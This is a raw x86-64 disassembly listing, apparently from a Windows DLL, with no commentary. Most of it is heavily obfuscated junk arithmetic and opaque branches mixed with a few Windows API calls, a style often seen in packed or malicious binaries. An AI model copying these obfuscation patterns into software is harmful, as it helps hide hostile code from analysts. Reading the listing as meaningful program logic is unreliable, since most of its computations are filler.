movzx ecx, word [0x1800a65fc]
movzx ecx, cx
mov rdx, qword [0x1800a66d8]
not rdx
sub rcx, rdx
not rcx
xor rax, rcx
not rax
sub rax, qword [rsp + 0xbb0]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x148]
add eax, 0x491
mov dword [rsp + 0xbc], eax
mov rax, qword [0x1800a66e0]
mov ecx, dword [0x1800a66cc]
movsxd rcx, ecx
cmp rax, rcx
jge 0x18004aef3
movzx eax, byte [rsp + 0x24]
not eax
cdqe
movzx ecx, byte [0x1800a6566]
movsx rcx, cl
mov rdx, qword [0x1800a66d0]
sub rdx, rcx
mov rcx, rdx
xor rax, rcx
mov byte [rsp + 0x25], al
jmp 0x18004aefe
mov qword [0x1800a66a8], 0x9d78
mov eax, dword [rsp + 0x148]
add eax, 0x576
mov dword [rsp + 0x16c], eax
movsx rax, word [rsp + 0x38]
movabs rcx, 0x771a72afd966e
and rax, rcx
mov rcx, qword [0x1800a6670]
add rcx, rax
mov rax, rcx
mov qword [0x1800a6670], rax
movzx eax, byte [rsp + 0x25]
movsx eax, al
shl eax, 5
mov byte [rsp + 0x22], al
mov eax, dword [0x18091bdb0]
mov dword [rsp + 0x14c], eax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov word [0x1800a6694], ax
mov eax, dword [rsp + 0x14c]
add eax, 0x45a
mov dword [rsp + 0x84], eax
mov dword [0x1800a663c], 4
movzx eax, byte [rsp + 0x22]
test eax, eax
jne 0x18004af94
mov dword [rsp + 0x314], 1
jmp 0x18004af9f
mov dword [rsp + 0x314], 0
mov rax, qword [0x1800a6680]
not rax
mov rcx, qword [rsp + 0x60]
sub rcx, rax
mov rax, rcx
movsx ecx, word [rsp + 0x2c]
not ecx
movsxd rcx, ecx
sub rax, rcx
not rax
mov ecx, dword [0x1800a66ec]
mov edx, dword [rsp + 0x314]
or edx, ecx
mov ecx, edx
movzx edx, byte [rsp + 0x20]
xor ecx, edx
movsxd rcx, ecx
imul rax, rcx
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x58]
sub eax, dword [0x1800a66b0]
not eax
mov dword [0x1800a6698], eax
mov eax, dword [0x1800a663c]
mov dword [rsp + 0xb4], eax
cmp dword [rsp + 0xb4], 0
je 0x18004b037
cmp dword [rsp + 0xb4], 1
je 0x18004b06f
cmp dword [rsp + 0xb4], 2
je 0x18004b089
cmp dword [rsp + 0xb4], 3
je 0x18004b0ea
jmp 0x18004b0fe
cmp dword [0x1800a66c8], 0
jne 0x18004b04d
mov dword [rsp + 0x318], 1
jmp 0x18004b058
mov dword [rsp + 0x318], 0
mov eax, dword [rsp + 0x318]
and eax, 0x8ff7
not eax
mov byte [rsp + 0x20], al
jmp 0x18004b0fe
mov rax, qword [rsp + 0x68]
movabs rcx, 0x802b59d13f9e5
sub rax, rcx
mov dword [0x1800a66ec], eax
jmp 0x18004b0fe
movzx eax, byte [0x1800a65fe]
movsx eax, al
test eax, eax
jne 0x18004b0a4
mov dword [rsp + 0x31c], 1
jmp 0x18004b0af
mov dword [rsp + 0x31c], 0
mov eax, dword [rsp + 0x31c]
mov ecx, dword [0x1800a66ec]
add ecx, eax
mov eax, ecx
movzx ecx, word [rsp + 0x34]
movsx ecx, cx
mov edx, dword [rsp + 0x58]
xor ecx, edx
movzx edx, byte [0x1800a65a3]
movsx edx, dl
add ecx, dword [rsp + 0x44]
add edx, ecx
mov ecx, edx
add eax, ecx
mov dword [0x1800a663c], eax
jmp 0x18004b0fe
movzx eax, byte [rsp + 0x23]
movzx eax, al
sub eax, 0x3e4d
mov word [0x1800a66b4], ax
mov eax, dword [rsp + 0x14c]
add eax, 0x50c
mov dword [rsp + 0x91c], eax
movzx eax, byte [0x1800a65e6]
movzx eax, al
imul eax, eax, 0x5cce
mov ecx, dword [0x1800a6688]
sub ecx, eax
mov eax, ecx
mov dword [0x1800a6688], eax
mov dword [0x1800a663c], 0x939b
mov eax, dword [rsp + 0x14c]
add eax, 0x4d0
mov dword [rsp + 0x920], eax
mov rax, qword [rsp + 0x60]
not rax
movzx ecx, byte [rsp + 0x22]
cmp rax, rcx
ja 0x18004b16d
mov dword [rsp + 0x324], 1
jmp 0x18004b178
mov dword [rsp + 0x324], 0
movzx eax, byte [rsp + 0x24]
test eax, eax
je 0x18004b199
movzx eax, word [0x1800a660c]
test eax, eax
je 0x18004b199
mov dword [rsp + 0x320], 1
jmp 0x18004b1a4
mov dword [rsp + 0x320], 0
mov eax, dword [rsp + 0x320]
mov ecx, dword [rsp + 0x324]
and ecx, eax
mov eax, ecx
test eax, eax
je 0x18004b259
mov eax, dword [0x1800a66cc]
mov ecx, dword [rsp + 0x58]
cmp eax, ecx
je 0x18004b221
movzx eax, byte [0x1800a65a7]
imul eax, dword [0x1800a6624]
movzx ecx, byte [rsp + 0x25]
movsx ecx, cl
not ecx
imul eax, ecx
not eax
movzx ecx, byte [0x1800a6566]
movsx ecx, cl
not ecx
mov edx, dword [rsp + 0x40]
mov edi, dword [0x1800a66ec]
sub edi, edx
mov edx, edi
sub ecx, edx
sub eax, ecx
mov word [rsp + 0x3c], ax
movzx eax, byte [rsp + 0x29]
movzx eax, al
movsx ecx, byte [rsp + 0x27]
sub eax, ecx
mov byte [rsp + 0x29], al
jmp 0x18004b259
mov rax, qword [0x1800a66d8]
test rax, rax
je 0x18004b248
movsx rax, word [rsp + 0x3c]
movabs rcx, 0xee9d1e98c5e59
add rax, rcx
mov byte [0x1800a65a7], al
jmp 0x18004b259
mov eax, dword [0x1800a66e8]
not eax
test eax, eax
je 0x18004b259
mov byte [rsp + 0x26], 8
mov eax, dword [0x18091bdb0]
mov dword [rsp + 0x150], eax
mov eax, dword [rsp + 0x150]
add eax, 0x420
mov dword [rsp + 0xb40], eax
mov eax, dword [0x1800a65bc]
test eax, eax
je 0x18004b291
movzx eax, byte [rsp + 0x22]
mov dword [rsp + 0x328], eax
jmp 0x18004b2a0
movzx eax, byte [rsp + 0x21]
movsx eax, al
mov dword [rsp + 0x328], eax
mov eax, dword [rsp + 0x328]
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x150]
add eax, 0x425
mov dword [rsp + 0xdf8], eax
movzx eax, word [rsp + 0x34]
cwde
mov ecx, dword [rsp + 0x58]
add eax, ecx
mov ecx, 0x30e3
sub ecx, eax
mov eax, ecx
test eax, eax
jne 0x18004b2e5
mov qword [rsp + 0xbb8], 1
jmp 0x18004b2f1
mov qword [rsp + 0xbb8], 0
mov rax, qword [rsp + 0x60]
movabs rcx, 0x46ba83a53b2bc
sub rax, rcx
not rax
mov rcx, qword [0x1800a6680]
imul rax, rcx
mov rcx, qword [rsp + 0xbb8]
add rcx, rax
mov rax, rcx
mov byte [rsp + 0x20], al
cmp dword [0x1800a6624], 0
jne 0x18004b339
mov dword [rsp + 0x32c], 1
jmp 0x18004b344
mov dword [rsp + 0x32c], 0
imul eax, dword [rsp + 0x32c], 0xfffffff9
movzx ecx, word [rsp + 0x30]
movzx ecx, cx
lea eax, [rax + rcx + 0x24]
not eax
mov dword [0x1800a66c4], eax
mov eax, dword [rsp + 0x150]
add eax, 0x3de
mov dword [rsp + 0xdfc], eax
mov eax, dword [0x1800a65bc]
movzx ecx, byte [rsp + 0x21]
movsx ecx, cl
cmp eax, ecx
je 0x18004b3f7
mov byte [0x1800a65a3], 0
movzx eax, byte [0x1800a65a7]
add eax, 0x67
cdqe
mov qword [0x1800a6680], rax
mov eax, dword [rsp + 0x48]
mov ecx, dword [0x1800a6698]
sub ecx, eax
mov eax, ecx
mov ecx, dword [0x1800a6698]
add ecx, eax
mov eax, ecx
mov dword [0x1800a6698], eax
movzx eax, byte [0x1800a65a3]
mov byte [rsp + 0xb3c], al
cmp byte [rsp + 0xb3c], 0
je 0x18004b3d7
jmp 0x18004b3f2
mov rax, qword [0x1800a66a0]
mov ecx, 8
imul rcx, rcx, 0x64
lea rdx, [0x180a9c0f0]
mov qword [rdx + rcx], rax
jmp 0x18004b483
mov rax, qword [0x1800a66d0]
cmp rax, qword [0x1800a6670]
jb 0x18004b414
mov dword [rsp + 0x330], 1
jmp 0x18004b41f
mov dword [rsp + 0x330], 0
movzx eax, word [rsp + 0x34]
cwde
mov ecx, 0xf9
sub ecx, eax
mov eax, ecx
cmp dword [rsp + 0x330], eax
jge 0x18004b483
movzx eax, byte [0x1800a65a3]
movsx rax, al
movabs rcx, 0x8a69670192a58
xor rax, rcx
mov ecx, dword [0x1800a66cc]
movsxd rcx, ecx
sub rcx, rax
mov rax, rcx
mov dword [0x1800a66cc], eax
mov rax, qword [rsp + 0x60]
sub rax, 0xdf28
mov rcx, qword [0x1800a6680]
sub rcx, rax
mov rax, rcx
mov qword [0x1800a6680], rax
movsx eax, byte [rsp + 0x27]
movzx ecx, byte [0x1800a65e6]
movzx ecx, cl
add eax, ecx
mov dword [0x1800a66cc], eax
movzx eax, byte [rsp + 0x29]
movzx eax, al
movzx ecx, byte [rsp + 0x23]
movzx ecx, cl
add eax, ecx
movzx ecx, byte [rsp + 0x29]
movzx ecx, cl
sub ecx, eax
mov eax, ecx
mov byte [rsp + 0x29], al
mov eax, dword [rsp + 0xb40]
imul eax, eax, 0x80
mov ecx, 0x215e6
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8f8], eax
mov rax, qword [rsp + 0x60]
mov ecx, dword [rsp + 0x54]
mov ecx, ecx
cmp rax, rcx
jne 0x18004b4f6
mov dword [rsp + 0x338], 1
jmp 0x18004b501
mov dword [rsp + 0x338], 0
mov rax, qword [rsp + 0x60]
cmp rax, 0x46
jne 0x18004b519
mov dword [rsp + 0x334], 1
jmp 0x18004b524
mov dword [rsp + 0x334], 0
mov eax, dword [rsp + 0x334]
cmp dword [rsp + 0x338], eax
jne 0x18004b54f
mov eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x54]
add eax, ecx
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
add eax, 0xe5af
mov dword [rsp + 0x44], eax
mov eax, dword [0x18091bdb0]
mov dword [rsp + 0x154], eax
mov eax, dword [rsp + 0x58]
sub eax, 0x1c
cdqe
mov rcx, qword [0x1800a66d0]
sub rcx, rax
mov rax, rcx
mov qword [0x1800a66d0], rax
mov eax, dword [rsp + 0x154]
add eax, 0x3f6
mov dword [rsp + 0xe00], eax
mov eax, dword [rsp + 0x154]
add eax, 0x39d
mov dword [rsp + 0xb44], eax
call qword [sym.imp.USER32.dll_GetDoubleClickTime]
mov byte [rsp + 0x22], al
movzx eax, byte [rsp + 0x22]
test eax, eax
je 0x18004b5b4
jmp 0x18004b5df
xor eax, eax
cmp eax, 0x6a
je 0x18004b5df
movzx eax, word [rsp + 0x30]
movzx eax, ax
imul eax, eax, 0xcefe
mov byte [rsp + 0x23], al
movzx eax, byte [rsp + 0x23]
movzx eax, al
imul eax, eax, 0x50c8695a
mov byte [rsp + 0x26], al
mov eax, dword [rsp + 0x154]
add eax, 0x393
mov dword [rsp + 0xe04], eax
movzx eax, byte [rsp + 0x21]
movsx eax, al
cmp dword [0x1800a66ec], eax
jne 0x18004b691
movsx eax, word [0x1800a6690]
test eax, eax
je 0x18004b670
movzx eax, word [0x1800a66c0]
movzx eax, ax
not eax
movsx ecx, byte [rsp + 0x26]
not ecx
add eax, ecx
mov ecx, dword [0x1800a663c]
not ecx
mov edx, dword [rsp + 0x54]
sub ecx, edx
xor eax, ecx
mov eax, eax
movzx ecx, word [rsp + 0x30]
movzx ecx, cx
mov rdx, qword [rsp + 0x68]
xor rdx, rcx
mov rcx, rdx
movzx edx, byte [0x1800a6566]
movsx edx, dl
not edx
mov edi, dword [0x1800a6688]
imul edi, edx
mov edx, edi
mov edx, edx
add rcx, rdx
and rax, rcx
mov byte [rsp + 0x24], al
jmp 0x18004b68f
mov eax, 1
imul rax, rax, 0x467e
lea rcx, [0x18099f360]
movsx rax, byte [rcx + rax]
mov qword [0x1800a66b8], rax
jmp 0x18004b6d0
movzx eax, word [0x1800a668c]
test eax, eax
je 0x18004b6d0
mov rax, qword [0x1800a6678]
movzx ecx, byte [0x1800a6567]
lea rax, [rcx + rax - 0xbd80]
mov byte [0x1800a6567], al
movsxd rax, dword [0x1800a66ec]
movabs rcx, 0x942d64f764ff5
add rax, rcx
mov byte [rsp + 0x25], al
mov eax, dword [rsp + 0x48]
sar eax, 1
cdqe
mov qword [0x1800a6668], rax
mov eax, dword [rsp + 0xb44]
or eax, 0xee5b
mov ecx, dword [rsp + 0x33c]
mov edx, dword [rsp + 0x33c]
sub ecx, edx
mov edx, dword [rsp + 0xb48]
add edx, 0x47
imul ecx, edx
mov edx, 0xffff15ef
lea rax, [rax + rdx]
lea eax, [rax + rcx]
mov dword [rsp + 0x8fc], eax
mov eax, dword [0x18091bdb0]
mov dword [rsp + 0x158], eax
movzx eax, byte [rsp + 0x20]
mov ecx, dword [rsp + 0x48]
imul ecx, eax
mov eax, ecx
mov dword [rsp + 0x48], eax
mov rax, qword [0x1800a6680]
movabs rcx, 0x805828b2f7a2f
sub rax, rcx
mov word [rsp + 0x3c], ax
mov eax, dword [rsp + 0x158]
add eax, 0x42a
mov dword [rsp + 0xb4c], eax
lea rcx, [0x180086c94]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov word [rsp + 0x2c], ax
movsx eax, word [rsp + 0x2c]
test eax, eax
jne 0x18004b7b3
movzx eax, byte [rsp + 0x23]
movzx eax, al
movsx ecx, word [rsp + 0x2c]
cmp eax, ecx
jle 0x18004b7b1
movzx eax, byte [rsp + 0x20]
sub eax, 0x9047
mov byte [0x1800a6566], al
movsx eax, byte [rsp + 0x27]
sub eax, 0xf6
mov word [rsp + 0x30], ax
jmp 0x18004b81f
movzx eax, byte [rsp + 0x28]
movzx eax, al
not eax
movsx ecx, word [rsp + 0x38]
cmp eax, ecx
jle 0x18004b7d8
mov eax, dword [rsp + 0x58]
imul eax, eax, 0x78876e11
mov byte [0x1800a65e6], al
jmp 0x18004b81f
mov eax, dword [0x1800a66c4]
cmp dword [0x1800a66c8], eax
jae 0x18004b7f3
mov dword [rsp + 0x340], 1
jmp 0x18004b7fe
mov dword [rsp + 0x340], 0
movzx eax, word [0x1800a669c]
cmp dword [rsp + 0x340], eax
je 0x18004b81f
mov eax, dword [0x1800a65bc]
not eax
cdqe
mov qword [0x1800a66b8], rax
mov eax, dword [rsp + 0x158]
add eax, 0x437
mov dword [rsp + 0xe08], eax
mov eax, 2
imul rax, rax, 3
lea rcx, [0x1809e3d40]
movsx eax, word [rcx + rax]
movzx ecx, byte [0x1800a658e]
sub ecx, eax
mov eax, ecx
mov byte [0x1800a658e], al
mov eax, dword [rsp + 0x158]
add eax, 0x409
mov dword [rsp + 0x8d8], eax
mov eax, 0x354a
mov word [0x1800a65fc], ax
movsx eax, word [rsp + 0x3c]
add eax, 0xd6c1
mov byte [0x1800a65a6], al
mov eax, dword [rsp + 0xb4c]
mov ecx, dword [rsp + 0x8d8]
sub eax, ecx
xor eax, 0x4af
mov dword [rsp + 0x900], eax
mov eax, dword [0x18091bdb0]
mov dword [rsp + 0x15c], eax
movzx eax, byte [rsp + 0x20]
movzx ecx, byte [rsp + 0x21]
movsx ecx, cl
mov edx, dword [0x1800a66ec]
xor edx, ecx
mov ecx, edx
xor eax, ecx
mov byte [rsp + 0x28], al
mov eax, dword [rsp + 0x15c]
add eax, 0x3b2
mov dword [rsp + 0x8e0], eax
mov eax, dword [rsp + 0x15c]
add eax, 0x92a5
mov dword [rsp + 0x8dc], eax
mov eax, dword [rsp + 0x15c]
add eax, 0x413
mov dword [rsp + 0xe0c], eax
mov qword [0x1800a6680], 0xea89
movzx eax, byte [0x1800a65a7]
imul eax, eax, 0x43fb
movzx ecx, word [rsp + 0x34]
movsx ecx, cx
sub ecx, eax
mov eax, ecx
mov word [rsp + 0x34], ax
mov eax, dword [rsp + 0x8dc]
mov ecx, dword [rsp + 0x8e0]
xor eax, ecx
xor eax, 0xa05f
mov ecx, 0x33c2
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x904], eax
movsx eax, word [rsp + 0x2c]
cmp dword [0x1800a6624], eax
jne 0x18004b96d
mov dword [rsp + 0x348], 1
jmp 0x18004b978
mov dword [rsp + 0x348], 0
cmp dword [0x1800a6624], 4
jne 0x18004b98e
mov dword [rsp + 0x344], 1
jmp 0x18004b999
mov dword [rsp + 0x344], 0
mov eax, dword [rsp + 0x344]
mov eax, dword [0x18091bdb0]
mov dword [rsp + 0x160], eax
movzx eax, byte [rsp + 0x25]
movsx rax, al
mov rcx, rax
call qword [sym.imp.USER32.dll_GetLastActivePopup]
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x160]
add eax, 0x405
mov dword [rsp + 0x8e8], eax
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov byte [rsp + 0x27], al
mov eax, dword [rsp + 0x160]
add eax, 0x3eb
mov dword [rsp + 0xe10], eax
movzx eax, byte [rsp + 0x21]
movsx eax, al
add eax, dword [rsp + 0x44]
mov byte [rsp + 0x21], al
mov eax, dword [0x1800a66cc]
cdqe
movabs rcx, 0x28bb17c0bbbb2
sub rax, rcx
mov byte [rsp + 0x25], al
mov eax, dword [rsp + 0x160]
add eax, 0x21b3
mov dword [rsp + 0x8e4], eax
movzx eax, byte [rsp + 0x22]
test eax, eax
je 0x18004ba4e
movsx eax, word [rsp + 0x2c]
test eax, eax
je 0x18004ba4e
mov eax, dword [rsp + 0x48]
sub eax, 0x22dd
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x8e4]
mov ecx, dword [rsp + 0x8e8]
sub eax, ecx
xor eax, 0x1f5d
mov dword [rsp + 0x908], eax
mov eax, dword [0x1800a66b0]
cmp dword [0x1800a66c4], eax
jae 0x18004ba85
mov dword [rsp + 0x350], 1
jmp 0x18004ba90
mov dword [rsp + 0x350], 0
movzx eax, byte [rsp + 0x20]
mov rcx, qword [0x1800a6680]
cmp rax, rcx
jae 0x18004baae
mov dword [rsp + 0x34c], 1
jmp 0x18004bab9
mov dword [rsp + 0x34c], 0
mov eax, dword [rsp + 0x34c]
cmp dword [rsp + 0x350], eax
jge 0x18004bad6
mov dword [rsp + 0x35c], 1
jmp 0x18004bae1
mov dword [rsp + 0x35c], 0
movzx eax, word [0x1800a669c]
test eax, eax
jne 0x18004baf9
mov dword [rsp + 0x354], 1
jmp 0x18004bb04
mov dword [rsp + 0x354], 0
mov eax, dword [rsp + 0x40]
not eax
cmp eax, dword [rsp + 0x354]
jne 0x18004bb21
mov qword [rsp + 0xbc0], 1
jmp 0x18004bb2d
mov qword [rsp + 0xbc0], 0
mov rax, qword [rsp + 0xbc0]
cmp qword [0x1800a66a8], rax
je 0x18004bb4b
mov dword [rsp + 0x358], 1
jmp 0x18004bb56
mov dword [rsp + 0x358], 0
mov eax, dword [rsp + 0x358]
not eax
cmp dword [rsp + 0x35c], eax
jg 0x18004bb78
mov qword [0x1800a66b8], 2
jmp 0x18004bcf1
mov eax, dword [0x1800a66e8]
cmp qword [0x1800a6670], rax
jne 0x18004bbbc
cmp dword [0x1800a66b0], 0
je 0x18004bb9d
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x360], eax
jmp 0x18004bbaa
mov eax, dword [0x1800a6698]
mov dword [rsp + 0x360], eax
movzx eax, word [rsp + 0x360]
mov word [rsp + 0x38], ax
jmp 0x18004bcf1
mov eax, dword [0x1800a6688]
not eax
test eax, eax
je 0x18004bbdb
xor eax, eax
test eax, eax
je 0x18004bbdb
mov dword [rsp + 0x368], 1
jmp 0x18004bbe6
mov dword [rsp + 0x368], 0
mov rax, qword [rsp + 0x68]
test rax, rax
jne 0x18004bbfd
mov dword [rsp + 0x364], 1
jmp 0x18004bc08
mov dword [rsp + 0x364], 0
mov eax, dword [rsp + 0x364]
cmp dword [rsp + 0x368], eax
jl 0x18004bc4e
movabs rax, 0x9e75dbffb513b
mov rcx, qword [0x1800a66a8]
imul rcx, rax
mov rax, rcx
movsx rcx, word [rsp + 0x3c]
add rcx, rax
mov rax, rcx
mov word [rsp + 0x3c], ax
mov dword [rsp + 0x44], 0x32a4f76a
jmp 0x18004bcf1
movzx eax, word [0x1800a668c]
test eax, eax
je 0x18004bcf1
movsx eax, byte [rsp + 0x27]
test eax, eax
jne 0x18004bc73
mov dword [rsp + 0x36c], 1
jmp 0x18004bc7e
mov dword [rsp + 0x36c], 0
mov rax, qword [rsp + 0x60]
test rax, rax
jne 0x18004bc95
mov dword [rsp + 0x370], 1
jmp 0x18004bca0
mov dword [rsp + 0x370], 0
movzx eax, word [0x1800a6694]
movzx eax, ax
sub eax, dword [rsp + 0x36c]
mov ecx, dword [rsp + 0x40]
mov edx, dword [rsp + 0x370]
add edx, eax
mov eax, edx
add ecx, eax
mov eax, ecx
test eax, eax
jne 0x18004bcd5
mov dword [rsp + 0x374], 1
jmp 0x18004bce0
mov dword [rsp + 0x374], 0
mov eax, dword [rsp + 0x48]
or eax, dword [rsp + 0x374]
mov dword [0x1800a6688], eax
mov eax, dword [0x18091bdb0]
mov dword [rsp + 0x164], eax
movsx eax, byte [0x1800a658f]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov eax, eax
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
test rax, rax
jle 0x18004bd2b
mov dword [rsp + 0x37c], 1
jmp 0x18004bd36
mov dword [rsp + 0x37c], 0
mov rax, qword [rsp + 0x68]
cmp rax, 0x1b
jle 0x18004bd4e
mov dword [rsp + 0x378], 1
jmp 0x18004bd59
mov dword [rsp + 0x378], 0
mov eax, dword [rsp + 0x378]
cmp dword [rsp + 0x37c], eax
jl 0x18004bd6b
jmp 0x18004bddc
movzx eax, byte [0x1800a65a6]
movzx eax, al
test eax, eax
jne 0x18004bd86
mov dword [rsp + 0x380], 1
jmp 0x18004bd91
mov dword [rsp + 0x380], 0
movzx eax, byte [rsp + 0x28]
movzx eax, al
cmp dword [rsp + 0x380], eax
jl 0x18004bddc
movsx rax, word [rsp + 0x38]
mov rcx, qword [0x1800a6668]
xor rcx, rax
mov rax, rcx
mov qword [0x1800a6668], rax
movsx eax, word [rsp + 0x2c]
mov ecx, dword [0x1800a6624]
imul ecx, eax
mov eax, ecx
mov ecx, dword [0x1800a6624]
add ecx, eax
mov eax, ecx
mov dword [0x1800a6624], eax
mov eax, dword [rsp + 0x164]
add eax, 0x3df
mov dword [rsp + 0x8ec], eax
movzx eax, byte [rsp + 0x20]
sub eax, 0x764c
mov byte [0x1800a65e6], al
mov eax, dword [rsp + 0x164]
add eax, 0x37e
mov dword [rsp + 0xe14], eax
mov rax, qword [rsp + 0x60]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov byte [rsp + 0x23], al
mov eax, dword [rsp + 0x164]
add eax, 0x3ce
mov dword [rsp + 0xe18], eax
movzx eax, byte [rsp + 0x22]
test eax, eax
je 0x18004be41
jmp 0x18004be5f
mov eax, dword [rsp + 0x4c]
sub eax, 0x54a67466
mov byte [0x1800a65a3], al
movzx eax, byte [rsp + 0x23]
movzx eax, al
mov qword [0x1800a6668], rax
movzx eax, word [0x1800a66c0]
mov word [rsp + 0x34], ax
movzx eax, byte [rsp + 0x29]
movzx eax, al
mov ecx, dword [0x1800a66c8]
sub ecx, eax
mov eax, ecx
mov dword [0x1800a66c8], eax
mov eax, dword [rsp + 0x8ec]
or eax, 0xd80a
xor eax, 0xdbbe
mov ecx, dword [rsp + 0xb8]
mov edx, dword [rsp + 0xb8]
sub ecx, edx
mov edx, dword [rsp + 0xb8]
mov edi, dword [rsp + 0xb8]
xor edx, edi
sub ecx, edx
add eax, ecx
mov dword [rsp + 0x90c], eax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x70]
movzx eax, byte [rcx + rax]
cmp eax, dword [rsp + 0x10c]
jne 0x18004c492
mov rax, qword [0x1800a6668]
movabs rcx, 0xc7578907e4bd8
add rax, rcx
mov dword [rsp + 0x40], eax
mov eax, 1
imul rax, rax, 0x2d7a
lea rcx, [0x1809bb1a0]
movzx eax, byte [rcx + rax]
mov rcx, qword [rsp + 0x60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
movzx eax, word [0x1800a66c0]
movzx eax, ax
sub eax, 0x60
mov byte [rsp + 0x23], al
mov eax, dword [0x18091bdb0]
mov dword [rsp + 0x168], eax
movzx eax, byte [0x18091bdb0]
mov byte [rsp + 0x26], al
mov eax, dword [rsp + 0x168]
add eax, 0xfaa1
mov dword [rsp + 0x390], eax
mov qword [0x1800a66e0], 4
mov eax, dword [rsp + 0x40]
test eax, eax
jne 0x18004bf79
mov dword [rsp + 0x384], 1
jmp 0x18004bf84
mov dword [rsp + 0x384], 0
movsx eax, word [rsp + 0x38]
mov ecx, dword [rsp + 0x384]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x44], 0
jne 0x18004bfa6
mov byte [rsp + 0x79], 1
jmp 0x18004bfab
mov byte [rsp + 0x79], 0
movzx eax, byte [rsp + 0x79]
mov byte [0x1800a65a7], al
mov rax, qword [0x1800a66e0]
mov qword [rsp + 0x8b0], rax
cmp qword [rsp + 0x8b0], 0
je 0x18004c011
cmp qword [rsp + 0x8b0], 1
je 0x18004c06d
cmp qword [rsp + 0x8b0], 2
je 0x18004c0ae
cmp qword [rsp + 0x8b0], 3
je 0x18004c0d9
cmp qword [rsp + 0x8b0], 4
je 0x18004c110
jmp 0x18004c13c
mov eax, dword [rsp + 0x40]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, [0x1809c0620]
mov byte [rdx + rcx], al
movzx eax, byte [0x1800a6566]
movsx eax, al
or eax, 0xb9e449e5
mov eax, eax
movsx rcx, byte [0x1800a658f]
mov rdx, qword [0x1800a6670]
not rdx
mov rdi, qword [rsp + 0x60]
sub rdi, rdx
mov rdx, rdi
sub rcx, rdx
not rcx
xor rax, rcx
not rax
mov dword [0x1800a6688], eax
jmp 0x18004c13c
movzx eax, word [rsp + 0x30]
movzx eax, ax
sub eax, dword [0x1800a66c4]
movzx ecx, word [rsp + 0x30]
movzx ecx, cx
and ecx, eax
mov eax, ecx
mov word [rsp + 0x30], ax
movabs rax, 0xc6b95b26e972b
mov rcx, qword [0x1800a66a8]
add rcx, rax
mov rax, rcx
mov dword [0x1800a663c], eax
jmp 0x18004c13c
mov eax, dword [0x1800a663c]
cdqe
movabs rcx, 0xf4b6996647f50
sub rax, rcx
mov rcx, qword [0x1800a6678]
add rcx, rax
mov rax, rcx
mov qword [0x1800a6678], rax
jmp 0x18004c13c
cmp dword [0x1800a6624], 0
je 0x18004c0ef
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x388], eax
jmp 0x18004c0fc
mov eax, dword [0x1800a6624]
mov dword [rsp + 0x388], eax
mov eax, dword [rsp + 0x388]
mov dword [0x1800a6698], eax
mov byte [rsp + 0x23], 0xa9
jmp 0x18004c13c
mov eax, dword [rsp + 0x40]
mov eax, eax
mov ecx, 8
imul rcx, rcx, 0xad
lea rdx, [0x180a9c0f0]
mov qword [rdx + rcx], rax
movzx eax, byte [0x1800a65a7]
inc al
mov byte [0x1800a65a7], al
mov eax, dword [rsp + 0x168]
add eax, 0x96b2
mov dword [rsp + 0xe1c], eax
movzx eax, byte [0x1800a658e]
test eax, eax
je 0x18004c15c
jmp 0x18004c191
xor eax, eax
cmp eax, 0x7b6b3b57
je 0x18004c191
mov eax, dword [0x1800a6698]
add eax, 0x9a81
cdqe
mov qword [0x1800a6680], rax
mov eax, 1
imul rax, rax, 0x16
lea rcx, [0x1809c0620]
movzx eax, byte [rcx + rax]
mov byte [rsp + 0x26], al
mov eax, dword [rsp + 0x168]
add eax, 0x3fa
mov dword [rsp + 0x8f0], eax
lea rax, [rsp + 0xfe8]
lea rcx, str.._AU___InitialTask
mov rdi, rax
mov rsi, rcx
mov ecx, 0x26
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0xfe8]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov word [0x1800a660c], ax
mov dword [0x1800a6698], 0xd84d
movzx eax, word [0x1800a668c]
movsxd rcx, dword [0x1800a6698]
mov rdx, qword [rsp + 0x60]
add rcx, rdx
cmp rax, rcx
jne 0x18004c244
mov eax, dword [rsp + 0x4c]
add eax, 0x7fe4
cmp dword [0x1800a6698], eax
jne 0x18004c244
jmp 0x18004c1d5
mov eax, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x40]
xor eax, ecx
test eax, eax
jne 0x18004c25f
mov dword [rsp + 0x38c], 1
jmp 0x18004c26a
mov dword [rsp + 0x38c], 0
movzx eax, byte [0x1800a658e]
not eax
movsx ecx, byte [0x1800a658f]
add eax, ecx
mov ecx, dword [rsp + 0x38c]
sub ecx, eax
mov eax, ecx
mov word [rsp + 0x30], ax
mov eax, dword [rsp + 0x390]
mov ecx, dword [rsp + 0x8f0]
xor eax, ecx
mov ecx, dword [rsp + 0x390]
or ecx, 0x2735
or eax, ecx
mov ecx, 0x10000
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x16c]
mov edx, dword [rsp + 0x16c]
add ecx, edx
mov edx, dword [rsp + 0x8f4]
mov edi, dword [rsp + 0xbc]
xor edx, edi
xor ecx, edx
mov edx, dword [rsp + 0xbc]
mov edi, dword [rsp + 0x16c]
add edx, edi
mov edi, dword [rsp + 0xbc]
mov esi, dword [rsp + 0xbc]
sub edi, esi
imul edx, edi
imul ecx, edx
add eax, ecx
mov dword [rsp + 0x910], eax
mov eax, dword [0x1800a6624]
sub eax, 0x7f69
mov byte [rsp + 0x20], al
movzx eax, byte [rsp + 0x29]
movzx eax, al
not eax
